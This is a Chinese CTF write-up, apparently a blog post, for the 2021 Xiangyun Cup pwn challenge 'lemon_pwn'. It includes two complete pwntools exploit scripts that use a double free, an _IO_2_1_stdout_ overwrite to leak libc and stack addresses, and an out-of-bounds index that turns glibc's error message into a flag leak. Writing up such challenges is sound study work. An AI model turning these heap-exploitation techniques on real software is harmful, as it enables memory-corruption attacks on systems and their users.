2021 祥云杯 pwn lemon_pwn

保护当然也是全开。
在这里插入图片描述
在这里插入图片描述进去说有两个游戏,第一个游戏过了可以把flag写在栈上,然后我们就去看看第一个游戏。

在这里插入图片描述输入一个数字,然后一顿操作,异或上一个随机数,然后跟那玩意相等。
显然有随机数我们根本猜不出来,但是注意到rand函数此时还并没有设置种子,那么rand出来的就应该是一个定值。

我们调了一下定值是0x6b8b4567

然后下面就是一个循环,那个循环其实也没啥用,因为就是在异或,所以最后就是上面那一堆得到的要么是那个定值,要么是定值的异或。

式子把输入的buf拆开,前四个字节跟后四个字节分开,我们可以让后四个字节小于前四个字节,以此来让后面的除法结果等于0,然后或后面的数字就都等于0,所以这种情况下面就剩前四个字节异或后四个字节了。
要注意在循环的时候会有限制,后四个字节要大于前四个字节,有符号的。
然后构造一下就可以了。
我这里用的是0x99f45a12e1c9c44d

然后去第二个游戏。

首先是add
在这里插入图片描述首先是add,申请了一个0x20的chunk,信息都写在里面。

size不合格会有一个free,这个free显然没有置空指针,但是怎么去利用,我们一会再说。

eat
在这里插入图片描述
eat函数可以泄露一个heap的指针。

free
在这里插入图片描述非常干净。

color
在这里插入图片描述
color函数有一次溢出的机会。

做的时候仅仅是溢出然后unlink去构造,泄露libc之后构造变得复杂且麻烦,所以我反正是没整出来。

那我们开始想办法去利用那个可以制造一个置空的指针。在size不合适的情况下,它会在bss上写上地址之后free掉那个chunk,而且不清空指针。那我就可以先在add里面free它一次,再跑到free函数里面free一次,就会造成double free。

造成double free之后我们继续看程序,它没有可以泄露地址的函数,所以我们就必须去攻击_IO_2_1_stdout_,因为flag在栈上,所以其实我们完全可以得到libc之后通过环境变量,environ得到栈的地址,进而得到flag的地址,继续攻击_IO_2_1_stdout_,来直接去读我们的flag。

要注意给的libc是2.26的libc,2.26有啥突出的点

2.26之后
首先会有tcache。

然后
在这里插入图片描述

会多一个size presize的检查。

要求我们的上面的chunk,也就是代码里面的P,它的下一个chunk的pre_size要等于P的size。

我们最常见的去构造也是这样构造。

我这里用的是2.23的libc,但是构造还是按2.26来的.

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r =process("./lemon_pwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

def add(index, name, size, content):
    r.sendlineafter("choice >>> ", "1")
    r.sendlineafter("index of your lemon: \n", str(index))
    r.sendafter("name your lemon: \n", name)
    r.sendlineafter("for you lemon: \n", str(size))
    r.sendafter("message: \n", content)

def add2(index, name, size):
    r.sendlineafter("choice >>> ", "1")
    r.sendlineafter("index of your lemon: \n", str(index))
    r.sendlineafter("name your lemon: \n", name)
    r.sendlineafter("for you lemon: \n", str(0x420))

def eat(index):
    r.sendlineafter("choice >>> ", "2")
    r.sendlineafter("index of your lemon : \n", str(index))

def throw(index):
    r.sendlineafter("choice >>> ", "3")
    r.sendlineafter("index of your lemon : \n", str(index))

def color(index, content):
    r.sendlineafter("choice >>> ", "4")
    r.sendlineafter("index of your lemon  : \n", str(index))
    r.sendafter("draw and color!\n", content)

def exp():
   
    r.sendlineafter("me?\n", "yes")
    r.sendafter("number: \n", p64(0x99f45a12e1c9c44d))
    r.sendafter("first: \n", "aaaa")
    r.recvuntil("0x")
    stack_offset = int(r.recv(3), 16)
    print "stack_offset = " + hex(stack_offset)

    add(3,"a",0x10,p64(0)+p64(0x31))
    add(0,p64(0)+p64(0x31),0x400,p64(0)+p64(0x31))
    eat(0)
    r.recvuntil("eat eat eat ")
    heap_addr = int(r.recv(5),10)
    print "heap_addr = " + hex(heap_addr)
    
    add(2,"a"*0x8+p64(0x31),0x60,p64(0)+p64(0x3f0))
    add2(1,"aaa")
    throw(1)
    add2(1,"aaa")
    throw(1)
    #可以double free
    
    now_addr = heap_addr-0x10 
    add(1,p16(now_addr),0x30,"bbbbbb")
    add(1,"aaaaaaaa",0x20,"a"*0x8+p64(0x4e1))
    
    throw(0)
    add(0,"a0",0x60,"bbbb")
    throw(0)
    throw(2)
    add(0,"a1",0x3c0,"aaaa")
    add2(0, "a1")
    throw(0)
    add2(0, "a1")
    throw(0)

   
    now_addr = heap_addr+0x450
    add(0, p16(now_addr), 0x40,p16(0x36ed))
    add(0,"a"*0x8+p64(0x31),0x20,"a"*0x18+p64(0x71))
    throw(0)
    add(0,"a",0x60,"aaa")
    
    add(0,"a",0x60,'\x00'*0x3+p64(0)*5+p64(0x71) + p64(0xfbad1800) + p64(0)*3 + '\x00')
    libc_base = u64(r.recv(6) + '\x00\x00') - 0x3db700
    print "libc_base = " + hex(libc_base)
   
    throw(1)
    color(0,"d"*0x10+p32(1)+p32(60)+p64(libc_base+0x3db720))
    
    throw(0)
    environ = libc_base + libc.sym['__environ']
    
    add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(environ)+p64(environ+8)*2+p64(environ)+p64(environ+8))
    flag_stack = u64(r.recv(6) + '\x00\x00') - 0x188
    throw(0)

    add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(flag_stack)+p64(flag_stack+0x20)*2+p64(flag_stack)+p64(flag_stack+0x20))
    r.recv()

#exp()


while True:
    try:
        global r
        r = process("./lemon_pwn")
        exp()
        r.interactive()
    except Exception as e:
        r.close()
        print 'retrying...'

第二种方法利用的是我们上面没有提到过的,它可以有数组越界,它并没有检查数组的所有下标。

那么我们利用的思路是说通过数组越界,我们先去找哪里可以利用。
在这里插入图片描述bss上面被留下来一个name的地址。
那么我们可以通过color写栈,一直可以往下写。
那么往下写能写点啥。

在这里插入图片描述我们发现下面有一堆字儿,这是干嘛的,就比如那个./lemon

在这里插入图片描述发现它在报错的时候可以把这个字符输出出来,所以我们就把这个地址改成我们flag的地址。

在这里插入图片描述然后就可以在报错的时候输出flag。

但是栈环境不稳定,要爆破一下。

exp

from pwn import*

context.log_level = "debug"

r =process("./lemon_pwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

def add(index, name, size, content):
    r.sendlineafter("choice >>> ", "1")
    r.sendlineafter("index of your lemon: \n", str(index))
    r.sendafter("name your lemon: \n", name)
    r.sendlineafter("for you lemon: \n", str(size))
    r.sendafter("message: \n", content)

def add2(index, name, size):
    r.sendlineafter("choice >>> ", "1")
    r.sendlineafter("index of your lemon: \n", str(index))
    r.sendlineafter("name your lemon: \n", name)
    r.sendlineafter("for you lemon: \n", str(size))

def eat(index):
    r.sendlineafter("choice >>> ", "2")
    r.sendlineafter("index of your lemon : \n", str(index))

def throw(index):
    r.sendlineafter("choice >>> ", "3")
    r.sendlineafter("index of your lemon : \n", str(index))

def color(index, content):
    r.sendlineafter("choice >>> ", "4")
    r.sendlineafter("index of your lemon  : \n", str(index))
    r.sendafter("draw and color!\n", content)

def exp():
   
    r.sendlineafter("me?\n", "yes")
    r.sendafter("number: \n", p64(0x99f45a12e1c9c44d))
    r.sendafter("first: \n", p64(0)*2+'\x00\x20\x00\x00\x01')
    r.recvuntil("0x")
    flag = int(r.recv(3), 16)

    flag2 = flag+0x1000-0x40  # flag地址的末字节
    payload = 'a'*0x138+chr(flag2&0xff)+chr((flag2>>8)&0xff)  ##覆盖环境变量的位置
    color(-260,payload)

    #gdb.attach(r)
    #pause()
    add(0,'desh',0x20,'a')
    throw(0)
    add(0,'desh',0x10,'a')
    add2(1,'desh',0x114514)
    throw(0)
    payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)
    add(0,'desh',0x20,payload)
    throw(0)
    throw(1)
    add(0,'\xa0',0x20,'\xa0')
    add2(1,p64(0x10),0x20)


while True:
    try:
        global r
        r = process("./lemon_pwn")
        exp()
        s = r.recvuntil("or corruption (!prev):")
        print s
        if "flag" in s:
            pause()
    except Exception as e:
        r.close()
        print 'retrying...'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值